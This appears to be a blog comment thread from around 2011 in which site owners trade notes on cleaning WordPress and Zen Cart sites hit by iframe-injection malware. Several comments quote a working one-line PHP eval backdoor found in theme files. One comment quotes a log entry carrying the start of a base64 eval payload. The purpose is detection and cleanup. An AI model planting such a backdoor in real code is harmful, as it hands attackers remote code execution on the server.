So far this is the best article out there about this new and very dangerous virus. I must say I have tried EVERYTHING. It returns .. I’m not sure how. My last resort was to close all the sites. I’ve checked the raw logs and there’s nothing strange. I can’t believed I’ve been hacked this way. The file modification date remains the same even after index.php gets infected so it is clearly not via ftp, even though I scanned all my machines.
I see that you discussed with HostGator guys that catched a backdoor. Do you have more info on that ? My shared hosting is with them but they answer way too slow on their ticketing system.
Please help me, I don’t know what else to do, I’ve spent 4 days trying to remove this virus without success. Please email me to the email I’ve posted this comment with.
I can’t stress enough how good and helpful your article is. I think I’ve found the backdoor. It was the extra code in functions.php from the theme, as you described:
<?php if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));
Now my main concern is how did they manage to put it there since they might be able to put it back.
1) virus on my machine and got my ftp details and uploaded. The thing is that I had saved ftp details from other hostings in my ftp client and those are untouched so I don't think this is it. I've scanned my machine with 3-4 up to date scanners
2) hack on my sites probably a 777 directory or a vulnerability on the old 2.8.1 wordpress I had installed so far (it is updated now)
I’d also like to contribute with something here since this was very helpful to me. I couldn’t find a tool that I can use to search via ftp and the cpanel also doesn’t offer anything. So instead of downloading all the sites locally to search, I found and adapted a script that can be uploaded on hosting and used to search the file contents for certain strings as the article describes. Here is the php script for anyone interested: http://www.creatorul.net/wpsearch.zip
big thanks to both Denis and Daniel on this one! I have been working with Daniel for a few days now trying to rid my sites of this same virus as well. With their help it looks like I was finally able to! I too found the string:
<?php if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));
It was in an archives.php in a theme file. They absolute key is the search file that daniel posted that allowed me to search all my server at once (over 10 complete sites). it would have been impossible to download them all and do it that way. And thanks to you Denis for showing us what to search for!
Thank you for this post. All my sites running wordpress got hacked. I was shocked. Then I was searching yesterday and today, and come across this site and a few others with the same “eval” issue. No files were timestamped with any updates for years. Then I downloaded the index.php, and there was the base64 code just sitting there on top. I have other sites running PHP, but not wordpress. ONLY MY WORDPRESS SITES ARE AFFECTED (so it seems). The funny thing is that I have 1 wordpress site for years (never updated that version), 2 other “test” wordpress sites on test folders. So my “main.com” site doesn’t get the error, but “main.com/test” gets the malware alert from chrome.
It could have been the old wordpress version, or it could have been the latest theme i downloaded already had the code in there. From now on, i am going to only download ones from wordpress.org or get buy a premium one.
Now I am just going to delete most of the sites.
How does the backdoor actually work? Through comments, or a vulnerable php file? Then it goes up a directory tree and sees i have 10 other sites? then only targets wordpress files? Does it touch my database files?
I believe, via vulnerable .php files of web applications (WordPress, OSCommerce, etc.). When they upload that file, they can use it to execute any code on compromised servers. They usually upload so called web shell to explore to discover new sites under the same account and find suitable locations for new backdors injections (e.g. backdoor code in theme files).
Then they use backdoors on all compromised sites all over the web to automatically inject malicious code into legitimate web pages.
It looks like the exploit uses the out of date timthumb.php file in older versions of WordPress to upload files which are then executed. These files will add code to index files, edit .htaccess to execute other file extensions and also upload additional scripts, iframes etc….
here is a handy command to find the files:
grep -Z -R “part of the script you are searching for here” /your/directory/* >> affected-files.txt
Then you can nano affected-files.txt for a list of files.
Thank you for this article, it’s a great help. Over at FileDen.com we’ve been experiencing issues with these .co.cc attacks over the last week or so and have been struggling to get to the bottom of it due to the sheer size of our log files.
Once the backdoor is there of course, it’s extremely hard to spot what they’re doing. We had a wordpress installation, but took it down when we originally got infected expecting it to be the cause.
Have you seen any cases of them writing backdoors to files outside of wordpress? The iframes themselves have been showing up on files on the main FileDen.com website.
Unless you have something like mod_security running that is capturing some more information, it is sometimes hard to see more of what it happening. I had a wordpress installation which was pretty much patched that was compromised. The compromise appeared to start with self-registration being left on and someone from Poland registering themselves. Later, an attack from an address in china seemed to use a valid session cookie and gained access. within a minute an Ip address from columbia connected and edited a php file in a theme allowing for the asc= variable. I have the full set of attacks after that — a base64 encoded string which searched the full system for any index.htm* and index.php files that were writable. After that a focused attack using the file list gleaned from the original probe pushed out the iframe updates. I am seeing between 5 and 15 updates per day that attempt to change the URL. The updates are coming from computers all over the world, but are targeting specifically this server. All that is seen with the attack after the original compromise is a POST / — nothing else. One thing I have noted is that all of what I assume are bot members trying to update the links have the following user agent:
“Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;” I’m keying off of the Mozila and the MyIE2 parts to autoblock addresses as they attempt the updates (148 unique attacking addresses so far, most since the 27th of Feb)
aaa.bbb.ccc.ddd – – [20/Mar/2011:10:40:12 -0600] “POST / HTTP/1.0″ 200 40522 “-” “Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;”
with the POST containing
asc=eval(base64_decode(%27ZXJyb3JfcmVwb3J0aW5nKDApO3NldF90 which is specific to this server.
It’s a lame manual. You delete only side effects of disease and cannot even imagine depth of the problem.
What will you do,if you have frame, but there is a fresh install of WP. Nothing! Reboot, ps aux | grep hacker , who and other helpful commands :)
You’ve stopped thinking!
Definitely, this article cannot cover all possible hacks. But it provides quite useful instructions. And what’s more important, they are backed by log analyses on multiple real hacked web sites (where I could see the attack step-by-step).
Unfortunately, this is not the only attack in the wild and some iframe injections use different vectors.
By the way, thanks for the very useful “ps aux | grep hacker” command. If you know some more magic commands, please write your manual on how to use them and let us know where we can read it ;-)
I dont want to offend you, sorry.But I know too much people who make money injecting frame – a long time ago i was one of them ;), so I can tell – the frame generate nix-based OS. “Kernel” make the frame ;)
Delete everything and install again.
If you need know more – contact me – I’ll show you the painless way to do this.
Then thanks for your article,although it’s hard to me :) because of my poor english.
And i write to you because my site is also get hacked,and i found bad code:<?php eval(base64_decode('ZXJ….
in the root/index.php and /admin/index.php(i cant find any more),im not sure if there are more bad code in other files.
and my site is a zen-cart systerm(something like osCommerce shopping cart).I have read this articles 3 times,but i cant find how to fix my zencart site because you have not mentioned any methoeds to fix zencart sites.
So i'm writing to you ask for how to find backdoors in zencart sites.
I’m not familiar with Zen Cart but the approach should be the same:
1. Check file for integrity (files that changed or has been added since the initial installation)
2. Scan all the files for the keywords you can find in my article
3. Scan access logs for suspicious POST requests
P.S. Consider password-protecting the /admin directory
I cleaned the nasty codes months ago and the hackers came back! I just found scripts hidden inside HTML files in my non wordpress folders. Some of these folders are not even indexed by Google, which means that somebody entered via FTP. the cod was hidden waaay down at the end of the HTML, and it was a long obfuscated code, which started like this: “”
I right clicked on my whole backup and scanned with AVG and it found a lot of HTML/Framer – I just don’t know, why it didn’t found before, when it makes full scan.
Some jquery.js files were also highlighted as HTML/Framer so I downloaded the same version of jquery.js and compared, they are different. I am not programmer, but it seams that hackers modified these files as well.